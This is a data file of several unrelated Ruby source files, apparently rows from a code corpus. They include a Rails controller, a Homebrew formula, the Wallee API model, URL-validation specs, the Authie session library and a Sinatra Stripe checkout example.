f80e72249cb06b48d8f9410a65ecc6c57bcc1d62 | 853 | class StaticPagesController < ApplicationController
def home
if user_signed_in?
redirect_to :controller => 'dashboard', :action => 'index'
end
if company_signed_in?
redirect_to :controller => 'dashboard_empresa', :action => 'index'
end
@title = 'GetXp'
@jumbotron = 'Nossa missão é conectar profissionais e empresas. Realize missões e conquiste seu espaço no mercado!'
@tagline = 'Pront@ para sua primeira missão?'
@titleforcompanies = 'Quer contratar pelo GetXp?'
@jumbotronforcompanies = 'Nossa missão é conectar profissionais e empresas. Crie suas missões ou veja os resultados das missões já existentes e traga para seu time um profissional alinhado com seus valores e necessidades!'
@taglineforcompanies = 'Pront@s para sua primeira missão?'
end
def help
end
end
| 30.464286 | 226 | 0.710434 |
39f7357bf6cc111ae2d61524185132fd2a4d4945 | 2,615 | class Jrnl < Formula
desc "Command-line note taker"
homepage "https://maebert.github.io/jrnl/"
url "https://github.com/maebert/jrnl/archive/1.9.7.tar.gz"
sha256 "789de4bffe0c22911a4968e525feeb20a6c7c4f4fe762a936ce2dac2213cd855"
bottle do
cellar :any_skip_relocation
sha256 "b5f24dc1ba2c58e7a9cebd7ae0492be6fbab0c05c3fa96e2f7cf9f9e9513bfd5" => :el_capitan
sha1 "85aeed5404abd7a962fe30cb68151f461e944070" => :yosemite
sha1 "cec814646e140a72c994c9e7a55a4428a6b7e336" => :mavericks
sha1 "127d73c4f50620bfab34bd398102c8f9f1821f12" => :mountain_lion
end
depends_on :python if MacOS.version <= :snow_leopard
resource "pycrypto" do
url "https://pypi.python.org/packages/source/p/pycrypto/pycrypto-2.6.tar.gz"
sha256 "7293c9d7e8af2e44a82f86eb9c3b058880f4bcc884bf3ad6c8a34b64986edde8"
end
resource "keyring" do
url "https://pypi.python.org/packages/source/k/keyring/keyring-4.0.zip"
sha256 "ea93c3cd9666c648263df4daadc5f34aeb27415dbf8e4d76579a8a737f1741cf"
end
resource "parsedatetime" do
url "https://pypi.python.org/packages/source/p/parsedatetime/parsedatetime-1.4.tar.gz"
sha256 "09bfcd8f3c239c75e77b3ff05d782ab2c1aed0892f250ce2adf948d4308fe9dc"
end
resource "python-dateutil" do
url "https://pypi.python.org/packages/source/p/python-dateutil/python-dateutil-1.5.tar.gz"
sha256 "6f197348b46fb8cdf9f3fcfc2a7d5a97da95db3e2e8667cf657216274fe1b009"
end
resource "pytz" do
url "https://pypi.python.org/packages/source/p/pytz/pytz-2014.7.tar.bz2"
sha256 "56dec1e94d2fad13d9009a140b816808086a79ddf7edf9eb4931c84f65abb12a"
end
resource "six" do
url "https://pypi.python.org/packages/source/s/six/six-1.8.0.tar.gz"
sha256 "047bbbba41bac37c444c75ddfdf0573dd6e2f1fbd824e6247bb26fa7d8fa3830"
end
resource "tzlocal" do
url "https://pypi.python.org/packages/source/t/tzlocal/tzlocal-1.1.1.zip"
sha256 "696bfd8d7c888de039af6c6fdf86fd52e32508277d89c75d200eb2c150487ed4"
end
def install
ENV.prepend_create_path "PYTHONPATH", libexec/"vendor/lib/python2.7/site-packages"
%w[six pycrypto keyring parsedatetime python-dateutil pytz tzlocal].each do |r|
resource(r).stage do
system "python", *Language::Python.setup_install_args(libexec/"vendor")
end
end
ENV.prepend_create_path "PYTHONPATH", libexec/"lib/python2.7/site-packages"
system "python", *Language::Python.setup_install_args(libexec)
bin.install Dir["#{libexec}/bin/*"]
bin.env_script_all_files(libexec/"bin", :PYTHONPATH => ENV["PYTHONPATH"])
end
test do
system "#{bin}/jrnl", "-v"
end
end
| 36.830986 | 94 | 0.764436 |
e8da29e1cb7665210c3303935ebec47eb0f8a770 | 176 | class AddMissingReadingsLimitToAmrDataFeedConfig < ActiveRecord::Migration[6.0]
def change
add_column :amr_data_feed_configs, :missing_readings_limit, :integer
end
end
| 29.333333 | 79 | 0.823864 |
ac8c236e1784494f51d8ce2087d1ff1596ac4070 | 463 | require_relative "pyrite/version"
require_relative "pyrite/parser"
require_relative "pyrite/transformer"
require_relative "pyrite/cli"
module Swift
module Pyrite
def self.generate_fake_for(file_path, output_path)
code = File.read(file_path)
parser = Parser.new
ast = parser.parse(code)
transformer = Transformer.new(ast)
File.open(output_path, 'w+') do |f|
f.write(transformer.generate)
end
end
end
end
| 21.045455 | 54 | 0.699784 |
f871b221564954b9506cc169f3263951694c9750 | 12,931 | =begin
Wallee API: 1.0.0
The wallee API allows an easy interaction with the wallee web service.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=end
require 'date'
module Wallee
#
class ChargeAttempt
# The ID is the primary key of the entity. The ID identifies the entity uniquely.
attr_accessor :id
# The linked space id holds the ID of the space to which the entity belongs to.
attr_accessor :linked_space_id
#
attr_accessor :linked_transaction
#
attr_accessor :charge
#
attr_accessor :connector_configuration
# The created on date indicates the date on which the entity was stored into the database.
attr_accessor :created_on
#
attr_accessor :environment
#
attr_accessor :failed_on
#
attr_accessor :failure_reason
#
attr_accessor :initializing_token_version
#
attr_accessor :invocation
#
attr_accessor :labels
#
attr_accessor :language
#
attr_accessor :next_update_on
# The planned purge date indicates when the entity is permanently removed. When the date is null the entity is not planned to be removed.
attr_accessor :planned_purge_date
#
attr_accessor :redirection_url
#
attr_accessor :space_view_id
#
attr_accessor :state
#
attr_accessor :succeeded_on
#
attr_accessor :timeout_on
#
attr_accessor :token_version
# The user failure message contains the message for the user in case the attempt failed. The message is localized into the language specified on the transaction.
attr_accessor :user_failure_message
# The version number indicates the version of the entity. The version is incremented whenever the entity is changed.
attr_accessor :version
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'id' => :'id',
:'linked_space_id' => :'linkedSpaceId',
:'linked_transaction' => :'linkedTransaction',
:'charge' => :'charge',
:'connector_configuration' => :'connectorConfiguration',
:'created_on' => :'createdOn',
:'environment' => :'environment',
:'failed_on' => :'failedOn',
:'failure_reason' => :'failureReason',
:'initializing_token_version' => :'initializingTokenVersion',
:'invocation' => :'invocation',
:'labels' => :'labels',
:'language' => :'language',
:'next_update_on' => :'nextUpdateOn',
:'planned_purge_date' => :'plannedPurgeDate',
:'redirection_url' => :'redirectionUrl',
:'space_view_id' => :'spaceViewId',
:'state' => :'state',
:'succeeded_on' => :'succeededOn',
:'timeout_on' => :'timeoutOn',
:'token_version' => :'tokenVersion',
:'user_failure_message' => :'userFailureMessage',
:'version' => :'version'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'id' => :'Integer',
:'linked_space_id' => :'Integer',
:'linked_transaction' => :'Integer',
:'charge' => :'Charge',
:'connector_configuration' => :'PaymentConnectorConfiguration',
:'created_on' => :'DateTime',
:'environment' => :'ChargeAttemptEnvironment',
:'failed_on' => :'DateTime',
:'failure_reason' => :'FailureReason',
:'initializing_token_version' => :'BOOLEAN',
:'invocation' => :'ConnectorInvocation',
:'labels' => :'Array<Label>',
:'language' => :'String',
:'next_update_on' => :'DateTime',
:'planned_purge_date' => :'DateTime',
:'redirection_url' => :'String',
:'space_view_id' => :'Integer',
:'state' => :'ChargeAttemptState',
:'succeeded_on' => :'DateTime',
:'timeout_on' => :'DateTime',
:'token_version' => :'TokenVersion',
:'user_failure_message' => :'String',
:'version' => :'Integer'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}){|(k,v), h| h[k.to_sym] = v}
if attributes.has_key?(:'id')
self.id = attributes[:'id']
end
if attributes.has_key?(:'linkedSpaceId')
self.linked_space_id = attributes[:'linkedSpaceId']
end
if attributes.has_key?(:'linkedTransaction')
self.linked_transaction = attributes[:'linkedTransaction']
end
if attributes.has_key?(:'charge')
self.charge = attributes[:'charge']
end
if attributes.has_key?(:'connectorConfiguration')
self.connector_configuration = attributes[:'connectorConfiguration']
end
if attributes.has_key?(:'createdOn')
self.created_on = attributes[:'createdOn']
end
if attributes.has_key?(:'environment')
self.environment = attributes[:'environment']
end
if attributes.has_key?(:'failedOn')
self.failed_on = attributes[:'failedOn']
end
if attributes.has_key?(:'failureReason')
self.failure_reason = attributes[:'failureReason']
end
if attributes.has_key?(:'initializingTokenVersion')
self.initializing_token_version = attributes[:'initializingTokenVersion']
end
if attributes.has_key?(:'invocation')
self.invocation = attributes[:'invocation']
end
if attributes.has_key?(:'labels')
if (value = attributes[:'labels']).is_a?(Array)
self.labels = value
end
end
if attributes.has_key?(:'language')
self.language = attributes[:'language']
end
if attributes.has_key?(:'nextUpdateOn')
self.next_update_on = attributes[:'nextUpdateOn']
end
if attributes.has_key?(:'plannedPurgeDate')
self.planned_purge_date = attributes[:'plannedPurgeDate']
end
if attributes.has_key?(:'redirectionUrl')
self.redirection_url = attributes[:'redirectionUrl']
end
if attributes.has_key?(:'spaceViewId')
self.space_view_id = attributes[:'spaceViewId']
end
if attributes.has_key?(:'state')
self.state = attributes[:'state']
end
if attributes.has_key?(:'succeededOn')
self.succeeded_on = attributes[:'succeededOn']
end
if attributes.has_key?(:'timeoutOn')
self.timeout_on = attributes[:'timeoutOn']
end
if attributes.has_key?(:'tokenVersion')
self.token_version = attributes[:'tokenVersion']
end
if attributes.has_key?(:'userFailureMessage')
self.user_failure_message = attributes[:'userFailureMessage']
end
if attributes.has_key?(:'version')
self.version = attributes[:'version']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properies with the reasons
def list_invalid_properties
invalid_properties = Array.new
return invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
return true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
id == o.id &&
linked_space_id == o.linked_space_id &&
linked_transaction == o.linked_transaction &&
charge == o.charge &&
connector_configuration == o.connector_configuration &&
created_on == o.created_on &&
environment == o.environment &&
failed_on == o.failed_on &&
failure_reason == o.failure_reason &&
initializing_token_version == o.initializing_token_version &&
invocation == o.invocation &&
labels == o.labels &&
language == o.language &&
next_update_on == o.next_update_on &&
planned_purge_date == o.planned_purge_date &&
redirection_url == o.redirection_url &&
space_view_id == o.space_view_id &&
state == o.state &&
succeeded_on == o.succeeded_on &&
timeout_on == o.timeout_on &&
token_version == o.token_version &&
user_failure_message == o.user_failure_message &&
version == o.version
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[id, linked_space_id, linked_transaction, charge, connector_configuration, created_on, environment, failed_on, failure_reason, initializing_token_version, invocation, labels, language, next_update_on, planned_purge_date, redirection_url, space_view_id, state, succeeded_on, timeout_on, token_version, user_failure_message, version].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = Wallee.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map{ |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 30.714964 | 342 | 0.628412 |
ff71920d0443a6967f98250c24476e704bc30092 | 7,978 | # encoding: utf-8
require 'spec_helper'
describe "URL validation" do
before(:all) do
ActiveRecord::Schema.define(version: 1) do
create_table :users, force: true do |t|
t.column :homepage, :string
end
end
end
after(:all) do
ActiveRecord::Base.connection.drop_table(:users)
end
context "with regular validator" do
before do
@user = User.new
end
it "does not allow nil as url" do
@user.homepage = nil
expect(@user).not_to be_valid
end
it "does not allow blank as url" do
@user.homepage = ""
expect(@user).not_to be_valid
end
it "does not allow an url without scheme" do
@user.homepage = "www.example.com"
expect(@user).not_to be_valid
end
it "allows an url with http" do
@user.homepage = "http://localhost"
expect(@user).to be_valid
end
it "allows an url with https" do
@user.homepage = "https://localhost"
expect(@user).to be_valid
end
it "does not allow a url with an invalid scheme" do
@user.homepage = "ftp://localhost"
expect(@user).not_to be_valid
end
it "does not allow a url with only a scheme" do
@user.homepage = "http://"
expect(@user).not_to be_valid
end
it "does not allow a url without a host" do
@user.homepage = "http:/"
expect(@user).not_to be_valid
end
it "allows a url with an underscore" do
@user.homepage = "http://foo_bar.com"
expect(@user).to be_valid
end
it "does not allow a url with a space in the hostname" do
@user.homepage = "http://foo bar.com"
expect(@user).not_to be_valid
end
it "returns a default error message" do
@user.homepage = "invalid"
@user.valid?
expect(@user.errors[:homepage]).to eq(["is not a valid URL"])
end
context "when locale is turkish" do
it "returns a Turkish default error message" do
I18n.locale = :tr
@user.homepage = "Black Tea"
@user.valid?
expect(@user.errors[:homepage]).to eq(["Geçerli bir URL değil"])
end
end
context "when locale is Japanese" do
it "returns a Japanese default error message" do
I18n.locale = :ja
@user.homepage = "黒麦茶"
@user.valid?
expect(@user.errors[:homepage]).to eq(["は不正なURLです。"])
end
end
end
context "with an authority-only validator" do
before do
@user = UserWithAuthority.new
end
it "allows a valid authority-only url" do
@user.homepage = "http://example.com"
expect(@user).to be_valid
end
it "does allow a url with userinfo" do
@user.homepage = "http://admin:[email protected]"
expect(@user).to be_valid
end
it "does allow a url with a port" do
@user.homepage = "http://@example.com:22"
expect(@user).to be_valid
end
it "does allow a url with a complete authority" do
@user.homepage = "http://admin:[email protected]:22"
expect(@user).to be_valid
end
it "does not allow a url with a path" do
@user.homepage = "http://example.com/something"
expect(@user).not_to be_valid
end
it "does not allow a url with a fragment" do
@user.homepage = "http://example.com#stuff"
expect(@user).not_to be_valid
end
it "does not allow a url with a query" do
@user.homepage = "http://example.com?things"
expect(@user).not_to be_valid
end
it "does not allow a url terminated by a colon with no port information" do
@user.homepage = "http://example.com:"
expect(@user).not_to be_valid
end
it "does not allow a url terminated by a slash" do
@user.homepage = "http://example.com/"
expect(@user).not_to be_valid
end
it "does not allow a url terminated by a hash" do
@user.homepage = "http://example.com#"
expect(@user).not_to be_valid
end
it "does not allow a url terminated by a question mark" do
@user.homepage = "http://example.com?"
expect(@user).not_to be_valid
end
end
context "with allow nil" do
before do
@user = UserWithNil.new
end
it "allows nil as url" do
@user.homepage = nil
expect(@user).to be_valid
end
it "does not allow blank as url" do
@user.homepage = ""
expect(@user).not_to be_valid
end
it "allows a valid url" do
@user.homepage = "http://www.example.com"
expect(@user).to be_valid
end
it "allows a url with an underscore" do
@user.homepage = "http://foo_bar.com"
expect(@user).to be_valid
end
end
context "with allow blank" do
before do
@user = UserWithBlank.new
end
it "allows nil as url" do
@user.homepage = nil
expect(@user).to be_valid
end
it "allows blank as url" do
@user.homepage = ""
expect(@user).to be_valid
end
it "allows a valid url" do
@user.homepage = "http://www.example.com"
expect(@user).to be_valid
end
it "allows a url with an underscore" do
@user.homepage = "http://foo_bar.com"
expect(@user).to be_valid
end
end
context "with no_local" do
before do
@user = UserWithNoLocal.new
end
it "allows a valid internet url" do
@user.homepage = "http://www.example.com"
expect(@user).to be_valid
end
it "does not allow a local hostname" do
@user.homepage = "http://localhost"
expect(@user).not_to be_valid
end
it "does not allow weird urls that get interpreted as local hostnames" do
@user.homepage = "http://http://example.com"
expect(@user).not_to be_valid
end
it "does not allow an url without scheme" do
@user.homepage = "www.example.com"
expect(@user).not_to be_valid
end
end
context "with public_suffix" do
before do
@user = UserWithPublicSuffix.new
end
it "should allow a valid public suffix" do
@user.homepage = "http://www.example.com"
expect(@user).to be_valid
end
it "should not allow a local hostname" do
@user.homepage = "http://localhost"
expect(@user).not_to be_valid
end
it "should not allow non public hosts suffixes" do
@user.homepage = "http://example.not_a_valid_tld"
expect(@user).not_to be_valid
end
end
context "with legacy syntax" do
before do
@user = UserWithLegacySyntax.new
end
it "allows nil as url" do
@user.homepage = nil
expect(@user).to be_valid
end
it "allows blank as url" do
@user.homepage = ""
expect(@user).to be_valid
end
it "allows a valid url" do
@user.homepage = "http://www.example.com"
expect(@user).to be_valid
end
it "does not allow invalid url" do
@user.homepage = "random"
expect(@user).not_to be_valid
end
it "allows a url with an underscore" do
@user.homepage = "http://foo_bar.com"
expect(@user).to be_valid
end
end
context "with ActiveRecord" do
before do
@user = UserWithAr.new
end
it "does not allow invalid url" do
@user.homepage = "random"
expect(@user).not_to be_valid
end
end
context "with ActiveRecord and legacy syntax" do
before do
@user = UserWithArLegacy.new
end
it "does not allow invalid url" do
@user.homepage = "random"
expect(@user).not_to be_valid
end
end
context "with regular validator and custom scheme" do
before do
@user = UserWithCustomScheme.new
end
it "allows alternative URI schemes" do
@user.homepage = "ftp://ftp.example.com"
expect(@user).to be_valid
end
end
context "with custom message" do
before do
@user = UserWithCustomMessage.new
end
it "uses custom message" do
@user.homepage = "invalid"
@user.valid?
expect(@user.errors[:homepage]).to eq(["wrong"])
end
end
end
| 23.886228 | 79 | 0.618576 |
2146d1fc8ccbd4eaaa9d02c30b306592e5e374cb | 107 | Rails.application.routes.draw do
mount ActiveRecordVisualizer::Engine => "/active_record_visualizer"
end
| 26.75 | 69 | 0.82243 |
d5f422b12ca79976fe89d4346febbe996ab6d884 | 10,404 | require 'secure_random_string'
module Authie
class Session < ActiveRecord::Base
# Errors which will be raised when there's an issue with a session's
# validity in the request.
class ValidityError < Error; end
class InactiveSession < ValidityError; end
class ExpiredSession < ValidityError; end
class BrowserMismatch < ValidityError; end
class HostMismatch < ValidityError; end
class NoParentSessionForRevert < Error; end
# Set table name
self.table_name = "authie_sessions"
# Relationships
parent_options = {:class_name => "Authie::Session"}
parent_options[:optional] = true if ActiveRecord::VERSION::MAJOR >= 5
belongs_to :parent, parent_options
# Scopes
scope :active, -> { where(:active => true) }
scope :asc, -> { order(:last_activity_at => :desc) }
scope :for_user, -> (user) { where(:user_type => user.class.name, :user_id => user.id) }
# Attributes
serialize :data, Hash
attr_accessor :controller
attr_accessor :temporary_token
before_validation do
if self.user_agent.is_a?(String)
self.user_agent = self.user_agent[0,255]
end
if self.last_activity_path.is_a?(String)
self.last_activity_path = self.last_activity_path[0,255]
end
end
before_create do
self.temporary_token = SecureRandomString.new(44)
self.token_hash = self.class.hash_token(self.temporary_token)
if controller
self.user_agent = controller.request.user_agent
set_cookie!
end
end
before_destroy do
cookies.delete(:user_session) if controller
end
# Return the user that
def user
if self.user_id && self.user_type
@user ||= self.user_type.constantize.find_by(:id => self.user_id) || :none
@user == :none ? nil : @user
end
end
# Set the user
def user=(user)
if user
self.user_type = user.class.name
self.user_id = user.id
else
self.user_type = nil
self.user_id = nil
end
end
# This method should be called each time a user performs an
# action while authenticated with this session.
def touch!
self.check_security!
self.last_activity_at = Time.now
self.last_activity_ip = controller.request.ip
self.last_activity_path = controller.request.path
self.requests += 1
self.save!
Authie.config.events.dispatch(:session_touched, self)
true
end
# Sets the cookie on the associated controller.
def set_cookie!(value = self.temporary_token)
cookies[:user_session] = {
:value => value,
:secure => controller.request.ssl?,
:httponly => true,
:expires => self.expires_at
}
Authie.config.events.dispatch(:session_cookie_updated, self)
true
end
# Sets the cookie for the parent session on the associated controller.
def set_parent_cookie!
cookies[:parent_user_session] = {
:value => cookies[:user_session],
:secure => controller.request.ssl?,
:httponly => true,
:expires => self.expires_at
}
Authie.config.events.dispatch(:parent_session_cookie_updated, self)
true
end
# Check the security of the session to ensure it can be used.
def check_security!
if controller
if cookies[:browser_id] != self.browser_id
invalidate!
Authie.config.events.dispatch(:browser_id_mismatch_error, self)
raise BrowserMismatch, "Browser ID mismatch"
end
unless self.active?
invalidate!
Authie.config.events.dispatch(:invalid_session_error, self)
raise InactiveSession, "Session is no longer active"
end
if self.expired?
invalidate!
Authie.config.events.dispatch(:expired_session_error, self)
raise ExpiredSession, "Persistent session has expired"
end
if self.inactive?
invalidate!
Authie.config.events.dispatch(:inactive_session_error, self)
raise InactiveSession, "Non-persistent session has expired"
end
if self.host && self.host != controller.request.host
invalidate!
Authie.config.events.dispatch(:host_mismatch_error, self)
raise HostMismatch, "Session was created on #{self.host} but accessed using #{controller.request.host}"
end
end
end
# Has this persistent session expired?
def expired?
self.expires_at &&
self.expires_at < Time.now
end
# Has a non-persistent session become inactive?
def inactive?
self.expires_at.nil? &&
self.last_activity_at &&
self.last_activity_at < Authie.config.session_inactivity_timeout.ago
end
# Allow this session to persist rather than expiring at the end of the
# current browser session
def persist!
self.expires_at = Authie.config.persistent_session_length.from_now
self.save!
set_cookie!
end
# Is this a persistent session?
def persistent?
!!expires_at
end
# Activate an old session
def activate!
self.active = true
self.save!
end
# Mark this session as invalid
def invalidate!
self.active = false
self.save!
if controller
cookies.delete(:user_session)
end
Authie.config.events.dispatch(:session_invalidated, self)
true
end
# Set some additional data in this session
def set(key, value)
self.data ||= {}
self.data[key.to_s] = value
self.save!
end
# Get some additional data from this session
def get(key)
(self.data ||= {})[key.to_s]
end
# Invalidate all sessions but this one for this user
def invalidate_others!
self.class.where("id != ?", self.id).for_user(self.user).each do |s|
s.invalidate!
end
end
# Note that we have just seen the user enter their password.
def see_password!
self.password_seen_at = Time.now
self.save!
Authie.config.events.dispatch(:seen_password, self)
true
end
# Have we seen the user's password recently in this sesion?
def recently_seen_password?
!!(self.password_seen_at && self.password_seen_at >= Authie.config.sudo_session_timeout.ago)
end
# Is two factor authentication required for this request?
def two_factored?
!!(two_factored_at || self.parent_id)
end
# Mark this request as two factor authoritsed
def mark_as_two_factored!
self.two_factored_at = Time.now
self.two_factored_ip = controller.request.ip
self.save!
Authie.config.events.dispatch(:marked_as_two_factored, self)
true
end
# Create a new session for impersonating for the given user
def impersonate!(user)
set_parent_cookie!
self.class.start(controller, :user => user, :parent => self)
end
# Revert back to the parent session
def revert_to_parent!
if self.parent && cookies[:parent_user_session]
self.invalidate!
self.parent.activate!
self.parent.controller = self.controller
self.parent.set_cookie!(cookies[:parent_user_session])
cookies.delete(:parent_user_session)
self.parent
else
raise NoParentSessionForRevert, "Session does not have a parent therefore cannot be reverted."
end
end
# Is this the first session for this session's browser?
def first_session_for_browser?
self.class.where("id < ?", self.id).for_user(self.user).where(:browser_id => self.browser_id).empty?
end
# Is this the first session for the IP?
def first_session_for_ip?
self.class.where("id < ?", self.id).for_user(self.user).where(:login_ip => self.login_ip).empty?
end
# Find a session from the database for the given controller instance.
# Returns a session object or :none if no session is found.
def self.get_session(controller)
cookies = controller.send(:cookies)
if cookies[:user_session] && session = self.find_session_by_token(cookies[:user_session])
session.temporary_token = cookies[:user_session]
session.controller = controller
session
else
:none
end
end
# Find a session by a token (either from a hash or from the raw token)
def self.find_session_by_token(token)
return nil if token.blank?
self.active.where("token = ? OR token_hash = ?", token, self.hash_token(token)).first
end
# Create a new session and return the newly created session object.
# Any other sessions for the browser will be invalidated.
def self.start(controller, params = {})
cookies = controller.send(:cookies)
self.active.where(:browser_id => cookies[:browser_id]).each(&:invalidate!)
user_object = params.delete(:user)
session = self.new(params)
session.user = user_object
session.controller = controller
session.browser_id = cookies[:browser_id]
session.login_at = Time.now
session.login_ip = controller.request.ip
session.host = controller.request.host
session.save!
Authie.config.events.dispatch(:start_session, session)
session
end
# Cleanup any old sessions.
def self.cleanup
Authie.config.events.dispatch(:before_cleanup)
# Invalidate transient sessions that haven't been used
self.active.where("expires_at IS NULL AND last_activity_at < ?", Authie.config.session_inactivity_timeout.ago).each(&:invalidate!)
# Invalidate persistent sessions that have expired
self.active.where("expires_at IS NOT NULL AND expires_at < ?", Time.now).each(&:invalidate!)
Authie.config.events.dispatch(:after_cleanup)
true
end
# Return a hash of a given token
def self.hash_token(token)
Digest::SHA256.hexdigest(token)
end
# Convert all existing active sessions to store their tokens in the database
def self.convert_tokens_to_hashes
active.where(:token_hash => nil).where("token is not null").each do |s|
hash = self.hash_token(s.token)
self.where(:id => s.id).update_all(:token_hash => hash, :token => nil)
end
end
private
# Return all cookies on the associated controller
def cookies
controller.send(:cookies)
end
end
end
| 30.781065 | 136 | 0.661669 |
87c4b5bb94759b1edcca237c4eb0438051bf0749 | 1,165 | # see https://stripe.com/docs/checkout/guides/sinatra
require 'sinatra'
require 'stripe'
set :publishable_key, ENV['STRIPE_PUBLISHABLE_KEY']
set :secret_key, ENV['STRIPE_SECRET_KEY']
Stripe.api_key = settings.secret_key
get '/' do
erb :index
end
post '/charge' do
@amount = 500
customer = Stripe::Customer.create(
:email => params[:stripeEmail],
:card => params[:stripeToken]
)
charge = Stripe::Charge.create(
:amount => @amount,
:description => 'Sinatra Charge',
:currency => 'usd',
:customer => customer.id
)
erb :charge
end
error Stripe::CardError do
env['sinatra.error'].message
end
__END__
@@ layout
<!DOCTYPE html>
<html>
<head></head>
<body>
<%= yield %>
</body>
</html>
@@ index
<form action="/charge" method="post" class="payment">
<article>
<label class="amount">
<span>Amount: $5.00</span>
</label>
</article>
<script src="https://checkout.stripe.com/checkout.js" class="stripe-button"
data-key="<%= settings.publishable_key %>"></script>
</form>
@@ charge
<h2>Thanks, you paid <strong>$5.00</strong>!</h2>
| 18.790323 | 79 | 0.614592 |
e8a192f2692765d3f08f078d8b4eca751157eb42 | 1,221 | cask "font-genshingothic" do
version "20150607,8.637"
sha256 "b8e00f00a6e2517bfe75ceb2a732b596fe002457b89c05c181d6b71373aada58"
# osdn.jp/ was verified as official when first introduced to the cask
url "https://osdn.dl.osdn.jp/users/#{version.after_comma.major}/#{version.after_comma.no_dots}/genshingothic-#{version.before_comma}.zip"
name "Gen Shin Gothic"
homepage "http://jikasei.me/font/genshin/"
font "GenShinGothic-Bold.ttf"
font "GenShinGothic-ExtraLight.ttf"
font "GenShinGothic-Heavy.ttf"
font "GenShinGothic-Light.ttf"
font "GenShinGothic-Medium.ttf"
font "GenShinGothic-Monospace-Bold.ttf"
font "GenShinGothic-Monospace-ExtraLight.ttf"
font "GenShinGothic-Monospace-Heavy.ttf"
font "GenShinGothic-Monospace-Light.ttf"
font "GenShinGothic-Monospace-Medium.ttf"
font "GenShinGothic-Monospace-Normal.ttf"
font "GenShinGothic-Monospace-Regular.ttf"
font "GenShinGothic-Normal.ttf"
font "GenShinGothic-P-Bold.ttf"
font "GenShinGothic-P-ExtraLight.ttf"
font "GenShinGothic-P-Heavy.ttf"
font "GenShinGothic-P-Light.ttf"
font "GenShinGothic-P-Medium.ttf"
font "GenShinGothic-P-Normal.ttf"
font "GenShinGothic-P-Regular.ttf"
font "GenShinGothic-Regular.ttf"
end
| 38.15625 | 139 | 0.774775 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.